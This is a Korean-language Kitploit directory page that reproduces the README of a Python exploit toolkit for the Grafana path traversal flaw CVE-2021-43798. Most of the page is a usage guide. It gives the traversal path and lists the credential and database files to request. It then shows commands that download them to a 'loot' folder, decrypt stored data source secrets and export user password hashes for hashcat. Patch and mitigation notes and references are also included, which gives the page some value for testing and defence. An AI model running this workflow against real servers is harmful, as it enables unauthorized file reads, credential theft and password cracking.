Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-43798 — 승인된 테스트를 위한 Python 툴킷으로, CVE-2021-43798 Grafana 경로 탐색, 임의 파일 읽기 PoC, 시크릿 복호화, 보안 평가용 사용자 해시 내보내기 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/okymi-x/cve-2021-43798
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisExploitationWeb Application ExploitationInformation Gathering
GitHubokymi-x/cve-2021-43798

CVE-2021-43798

승인된 테스트를 위한 Python 툴킷으로, CVE-2021-43798 Grafana 경로 탐색, 임의 파일 읽기 PoC, 시크릿 복호화, 보안 평가용 사용자 해시 내보내기 기능을 제공합니다.

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-43798 - Grafana 임의 파일 읽기

CVE-2021-43798의 승인된 테스트를 위한 Python 도구 모음입니다. 이 취약점은 Grafana의 경로 탐색(path traversal) 취약점으로, 플러그인 에셋 경로를 통해 인증 없이 임의의 파일을 읽을 수 있습니다.

이 저장소에는 다음이 포함되어 있습니다:

  • grafana_poc.py: 다운로드한 파일을 로컬에 저장하는 대화형 임의 파일 읽기 PoC.
  • grafana_pass_decryptor.py: grafana.ini 및/또는 secret_key를 확보했을 때 Grafana 암호화 데이터 소스 비밀값을 복호화하고, grafana.db에서 Grafana 사용자 비밀번호 해시를 내보내는 헬퍼 도구.

경고

이 프로젝트는 소유, 운영 중이거나 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오. 무단 악용 시 중요한 파일, 자격 증명, 개인 키, 데이터베이스 내용, 사용자 비밀번호 해시가 노출될 수 있습니다.

취약점 요약

CVE-2021-43798은 8.0.0-beta1부터 8.3.0까지의 Grafana 버전에 영향을 미칩니다. 패치된 버전은 8.3.1, 8.2.7, 8.1.8, 8.0.7입니다.

이 문제는 다음과 같은 플러그인 에셋 경로를 통해 접근할 수 있습니다:

root@kitploit:~
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>

승인된 검증 중 일반적으로 요청되는 파일은 다음과 같습니다:

root@kitploit:~
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline

접근 가능 여부는 Grafana 프로세스의 운영 체제 권한에 따라 달라집니다.

요구 사항

  • Python 3.10+
  • requests
  • 비밀값 복호화를 위한 pycryptodome 또는 cryptography

의존성 설치:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

사용 가이드

1. PoC로 파일 읽기

승인된 대상에 대해 대화형 PoC를 실행합니다:

root@kitploit:~
python3 grafana_poc.py -H http://target:3000 -o loot

프롬프트에서 절대 경로를 입력합니다:

root@kitploit:~
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit

다운로드된 파일은 원격 경로의 안전한 버전을 유지하면서 출력 디렉터리에 저장됩니다. 예:

root@kitploit:~
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db

2. Grafana 비밀값 복호화

grafana.ini와 grafana.db를 모두 확보한 경우, 복호화 도구는 구성 파일에서 secret_key를 읽어 암호화된 데이터 소스, 알림, 플러그인 비밀값의 복호화를 시도합니다:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db

암호화된 블롭 하나를 수동으로 복호화:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --secret-key SW2YcwTIb9zpOOhoPsMm \
  --blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

줄바꿈으로 구분된 JSON 출력:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --json

3. 사용자 해시 내보내기

Grafana 사용자 비밀번호는 암호화된 비밀값이 아닙니다. 이는 솔트가 적용된 PBKDF2 해시입니다. user 테이블에서 내보냅니다:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --users

hashcat 모드 10900 라인만 내보내기:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --db loot/var/lib/grafana/grafana.db \
  --users \
  --hashcat > hashes.txt

해결 방안

Grafana를 패치된 릴리스로 업그레이드하십시오:

  • 8.3 브랜치의 경우 8.3.1 이상
  • 8.2 브랜치의 경우 8.2.7 이상
  • 8.1 브랜치의 경우 8.1.8 이상
  • 8.0 브랜치의 경우 8.0.7 이상

즉시 업그레이드가 불가능한 경우, Grafana의 보안 권고에 따르면 Grafana 앞에 요청 경로를 정규화하는 리버스 프록시를 배치하면 트래버설 동작을 완화할 수 있습니다. 이는 패치 적용을 대체하는 것이 아닌 임시 통제 수단으로 간주하십시오.

참고 자료

  • Exploit-DB 50581: https://www.exploit-db.com/exploits/50581
  • jas502n 참조 저장소: https://github.com/jas502n/Grafana-CVE-2021-43798
  • Grafana 보안 권고 GHSA-8pjx-jj86-j47p: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  • CVE-2021-43798에 관한 Grafana 블로그 게시물: https://grafana.com/blog/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
  • NVD CVE 레코드: https://nvd.nist.gov/vuln/detail/CVE-2021-43798

크레딧

최초 공개 PoC는 Exploit-DB의 s1gh에게 공로가 있습니다. Grafana 비밀값 복호화 워크플로는 jas502n/Grafana-CVE-2021-43798의 공개 연구 및 예제에서 영감을 받았으며, 이 저장소는 랩 및 승인된 평가 워크플로를 위한 Python 헬퍼를 제공합니다.

도구 다운로드